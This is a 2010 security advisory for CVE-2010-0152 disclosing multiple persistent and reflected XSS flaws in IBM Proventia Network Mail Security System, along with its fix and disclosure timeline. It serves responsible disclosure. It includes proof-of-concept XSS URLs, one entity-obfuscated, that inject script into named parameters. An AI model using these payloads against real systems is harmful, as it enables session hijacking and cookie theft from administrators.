MVSA-10-007 / CVE-2010-0152 - IBM Proventia Mail Security System - Multiple persistent and reflected XSS vulnerabilities




Security Advisory: MVSA-10-007 / CVE-2010-0152
Vendor: IBM
Products: Proventia Network Mail Security System
Vulnerabilities: Multiple Cross-Site Scripting (XSS)
Risk: High
Attack Vector: From Remote
Authentication: Not Required/Required
Reference: http://www.ventuneac.net/security-advisories/MVSA-10-007



Description

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6 and 2.5) is vulnerable to multiple persistent and reflected XSS attacks. When exploited by an external/internal attacker, such identified vulnerabilities could lead to Session Hijack, Information Disclosure, force installation of malicious file or Trojan on users' PCs, etc.

A persistent XSS vulnerability can be exploited by an external unauthenticated attacker to inject malicious scripting code which is persistently stored. When the system is accessed by authorised users, such malicious code could be used to severely compromise the security of the appliance.

A persistent XSS vulnerability identified in saved search filters (Mail Security->Email Browser) allows an internal authenticated attacker to inject malicious scripting code.

Multiple reflected XSS vulnerabilities can be exploited by manipulating parameters of pvm_messagestore.php resource.

url_placeholder/pvm_messagestore.php?msgid=&sender=&rcpt=&subject=&meta=&mailsize=&folder=allfolders&date1=<script>alert('xss')</script>&date2=&s=mails&favname=

Reflected XSS vulnerabilities can be exploited by manipulating parameters of the following resources:

* userfilter parameter of pvm_user_management.php resource.

url_placeholder/pvm_user_management.php?userfilter=1%22+onblur%3D%22alert%28%27xss%27%29

* ping parameter of sys_tools.php

url_placeholder/sys_tools.php?form=ping&page=sys_ping.php&ping=<script>alert(document.cookie)</script>

* action parameter of pvm_cert_commaction.php resource

url_placeholder/pvm_cert_commaction.php?ajax=1&action=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76; %26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

* action parameter of pvm_cert_serveraction.php resource.

url_placeholder/pvm_cert_serveraction.php ?ajax=1&action=>"'><script>alert(document.cookie)</script>

* action parameter of pvm_smtpstore.php resource.

url_placeholder/pvm_smtpstore.php?id=frozen&action="><script>alert("XSS")</script>

* l parameter of /sla/index.php resource

url_placeholder/sla/index.php?l="><script>alert(document.cookie)</script>


Affected Versions

IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6)
IBM Proventia Network Mail Security System - virtual appliance (firmware 2.5)


Mitigation

Vendor recommends upgrading to PNMSS firmware 2.5.0.2 or later.
Alternatively, please contact IBM for technical support.


Disclosure Timeline

2009, November 07: Vulnerabilities discovered and documented
2009, November 08: Notification sent to IBM
2009, November 09: IBM acknowledges receiving the report
2010, March: IBM releases PNMSS Firmware 2.5.0.2 correcting the reported issues
2010, September 12: MVSA-10-007 advisory published.


Credits

Dr. Marian Ventuneac
http://ventuneac.net



Relevant Pages

  • Re: Win2k3 R2 - Storage Reporting on File Svr Cluster (SCSI-Attach
    ... the logical volumes attached through the IBM IPSHA resource driver." ... The 2 servers in the cluster that I set up under 2003 R2 were set up ... online that you want to report on. ...
    (microsoft.public.windows.server.clustering)
  • Re: Win2k3 R2 - Storage Reporting on File Svr Cluster (SCSI-Attach
    ... I've tried to contact IBM on this and they gave me the runaround because I ... Cluster Manager, I have an IPSHA Disk D: resource which is attached to the ... fine with the IBM ipsha disk resource dll which shows up as a "IBM ServeRAID ...
    (microsoft.public.windows.server.clustering)
  • Re: Validation of a resource name
    ... Validation of a resource name ... On the client side I only have the IBM default supplied classes. ... A qualifier is longer than 8 characters ...
    (bit.listserv.ibm-main)
  • Re: Token Ring and Linux (See message for details.)
    ... I've found this message when the hardware resources don't ... match up with what the driver expects - wrong I/O or IRQ (depends on ... conflict where the NIC and some other resource are trying to use the ... IBM one pinging the desktop with the 3COM one via the MAU, ...
    (comp.os.linux.networking)